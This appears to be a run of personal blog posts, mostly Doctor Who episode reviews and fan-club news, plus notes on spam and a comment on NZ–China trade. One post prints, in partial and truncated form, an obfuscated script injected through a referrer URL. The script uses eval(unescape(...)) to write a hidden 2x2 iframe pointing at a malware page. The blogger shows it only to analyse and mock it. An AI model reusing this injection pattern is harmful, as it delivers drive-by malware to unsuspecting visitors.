If only there were some way to apply this technique to email spam...

Previously: Even better hotlink protection, More on "Even better hotlink protection"

After the news of the recovery of missing episode The Lion in TSV 56, the next issue contained the full story of its recovery, as well as the more off-beat experiences of Neil Lambess in his new regular column The Life and Times of Neil Lambess.

The other major item was the printing of Pilots of the Deep. Parts 1 and 2 had been printed in TSV 12 and 14 back in 1989 before the original artist, Mark Roach, had lost interest. Ten years later, David Ronayne and Peter Adamson collaborated on a conclusion and it was printed (along with the first two parts) in TSV 57. There was even a behind the strip article about the creation of Pilots of the Deep. I wonder if Mark Roach has seen it. :)

Also in this issue, Pex anticipates The Juggernauts, and he and the Karkus team up to fight a giant headless chicken. Yes!

Next time, Beyond the Sofa!

Previously: Resurrection of the Daleks
See also: the write-up by Jamas

Or maybe spammers are moving on to hacking sites and inserting links that way. Most of the bad hits I've been getting lately are from people trying to hack my site using PHP exploits. Of course, I don't use any PHP applications here, so they get a nice error in response. Judging by the URLs they hit, they found this site by searching for sites which mention PHP. On the bright side, so long as they're making futile attempts to hack my site, they have less bandwidth to use on trying to hack less secure sites.

So is comment spam on the decrease, or am I just lucky? It'll be interesting to see if blogging about it causes an increase in attempts...

At the time, the author chose to self-publish the novel, and the other day, it went up on the NZDWFC site as an eBook. It's available primarily as a PDF file (although there's also the option to email the author regarding a hard copy) and not in HTML format like the other eBooks, mainly because it would be really difficult to do.

The crux is, the book is now available to an audience I suspect is wider than that which it would have had had it actually have been published back in 2000. :)

Read Campaign here.

Partners in Crime (Obligatory Camp Season Opener)

Eagerly we anticipated something new, something different... and we got the same opening shot as the previous seasons (bar New Earth) - the new companion walking along a crowded city street. Whatever will Davies do if he needs to introduce a non-Earth companion? The first twenty minutes or so are taken up by the Doctor and Donna independantly infiltrating Adipose to find out exactly what the diet drug company is up to. That makes three out of four season openers which have had something to do with medicine. Hrm. A fun story, which feels shorter than the average episode. The "you just want to MATE?!" conversation feels forced. [7/10]

Battle of the Seasons: The season openers in order of campness:
New Earth
Partners in Crime
Rose
Smith and Jones

Fires of Pompeii (Obligatory historical with crap running gag)

First stop, Rome! No, wait, Pompeii! Why does no one ever ever time travel back to Pompeii and arrive, say, a good year before the volcano goes off? As well as the volcano, there are some Balrog-esque monsters which are sadly easy to defeat, and even a reference back to The Romans. Another quite fun story, and Donna's already a great companion. The only thing which kinda irked was the somewhat obviously modern family transplanted to Roman times. [8/10]

Battle of the Seasons: Historicals in order of running gag annoyance level:
Tooth and Claw (We are not amused. O, RLY? YA RLY!)
The Shakespeare Code
Fires of Pompeii
The Unquiet Dead

I'm deducting a point from Fires of Pompeii for neglecting to include gratuitous historical personage.

The Planet of the Ood (Obligatory Future Story with social commentary)

Today's message: lobotomising people to make a slave race is wrong. Duh. Like Torchwood's "Meat", I've got to wonder exactly who looks at an alien and says "Hey, we could cut off a piece and make it into a slave!", though at least it makes a change to have an actual human villain. The Ood, again, look fantastic, and I hope we do see them again. Another alien planet - BRILLIANT! It's amazing what you can do with a couple of CGI shots and some fake snow. [8/10]

Battle of the Seasons: In order of blatentness of social commentary:
Gridlock
Planet of the Ood
New Earth
End of the World

Also, I'm deducting a point from New Earth, because they doubled up the future episode and the camp season opener, which I've arbitrarily decided is cheating.

So the scores so far in Battle of the Seasons:

• Series 2: 9 points
• Series 3: 8 points
• Series 4: 7 points
• Series 1: 4 points

So far, series 4 seems to be the season for foreshadowing fifty different things. I dream of an episode one day where the Doctor never puts on his glasses, uses the sonic screwdriver, or makes a gratuitous reference to Rose.

Next up: the obligatory crap early-season two-parter (with recurring baddies). Helen Raynor is responsible for the dire Dalek story last season, but her Torchwood scripts were good, so perhaps...

See also this Deviantart posting from the creators of the Dalek/TARDIS barrow.

And on an unrelated note, Partners in Crime remixed for NSFW means!

Time to try out one of the substitutes, I think.

A week or so ago I noticed an odd hit in my server logs. The referrer url looked like this:
http://buxhotel.com/?page=<script> eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72
[whole bunch more encoded characters cut out]
%72%61%6d%65%3e%22%29%3b'))</script>&t=2

Java script in the referrer? I guess the idea was that it would end up in the referrer logs which I don't publish on my web site, and then any unsuspecting people who visited said logs would execute the javascript. Or possibly would follow the link to the buxhotel page, which would give them back the javascript. Anyway the pile of encoded characters translated to more javascript, which looked like this:
document.write("<iframe src='[URL REDACTED]' height='2' width='2'> </iframe>");

The iframe loaded a URL containing yet more javascript which started document.write(unescape('%3c%68%74%6d%6c%3e etc etc etc. I didn't bother to extract all of it, but what I did translate made it obvious that the page was loaded with nasty spyware and viruses.

So to recap, this method depends on the target site publishing its logs publicly in some manner that people will either execute the long chain of javascript by visiting the logs or by following the link. Either way, it seems just a bit desperate to me...

As usual, there are a number of cool extras such as author's notes and an article on the history of the novelisation. As mentioned previously, I've still been getting emails asking if we're going to put the rest of the novelisations up, and I expect to continue to get them until the last one goes up. Perhaps I should put up a "coming soon" notice on the City of Death page (but then I'll probably just get "How soon?" emails).

See also: the write-up by Paul
Previously: TSV 56

In all? A pretty good season. Started getting a little shaky towards the end, with the likes of Fragments (the flashbacks were good though) and Something Borrowed, but the rest of the episodes were actually quite good, despite my remarks above. My favourite was "From Out of the Rain", which seems to have received somewhat of a critical panning, which I suspect is largely due to the fact it's the supernatural with a slight scientific dressing and shares a few plot points in common with PJ Hammond's other famous contribution to the genre of cult television. And if I can accept Owen being dead and yet walking around without starting to stink up the place with his decomposing, I can accept weird circus people who hide in old films.

I'm going to be honest and admit that I liked it more than I liked series 3 of Doctor Who. I hope series 4 is as good.

Good morning, April (I meant to post this yesterday, when it would have been 25% closer to the start of the month, but oh well...)

Also, I noticed last night that the NZDWFC general message board passed 10,000 posts back in February.

A few search terms from last month:
- star trek voyager cartoon porn com
- john barrowman overexposure [Defabricator, huh? What does that do?]
- if and when is jason donovan taking the part of dr who? [WHAT?!]
- could an android pilot a spacecraft to another star system

security - entertainment - featured - google - gossip - liberal - media - new york - search - tech

So it looks like I've been pigeonholed as "liberal". Also, I still have the "New York" (still haven't been there) and "Featured" tags. Oh, and some of the links on that page are still using the old URL.

"A TROWBRIDGE Christian who renounced the evil of Dr Who in favour of his religion is selling his collection on internet auction website eBay."

Recently the NZ government has been working towards a Free Trade deal with China. A bunch of people, including the Green party, have said the Trade deal should be thrown out due to the way China keeps killing Tibetans, and their crumby human rights record in general. Also, there's talk of boycotting the upcoming Beijing Olympics.

Leaving aside the fact that the Olympics are actually nicely bringing attention to Tibet (and I'm sure some of the athletes will defy the ban on mentioning Tibet), I point you to Statistics New Zealand's External Trade Statistics page.

In 2005, New Zealand imported 3.67 billion dollars worth of stuff from China. In 2006, it was 4.44 billion, and the projected total for 2007 is listed as 5.28 billion. For contrast, in 2006 we exported only 1.74 billion dollars worth of stuff to China, and in 2007 the projection was 1.88 billion. So we're already dropping a fair amount of money into the Chinese economy, and whether or not we get a free trade deal with them isn't likely to change that. We'll go on buying their stuff and giving them money, and they'll go on doing what they're doing.

Or is there something I'm missing?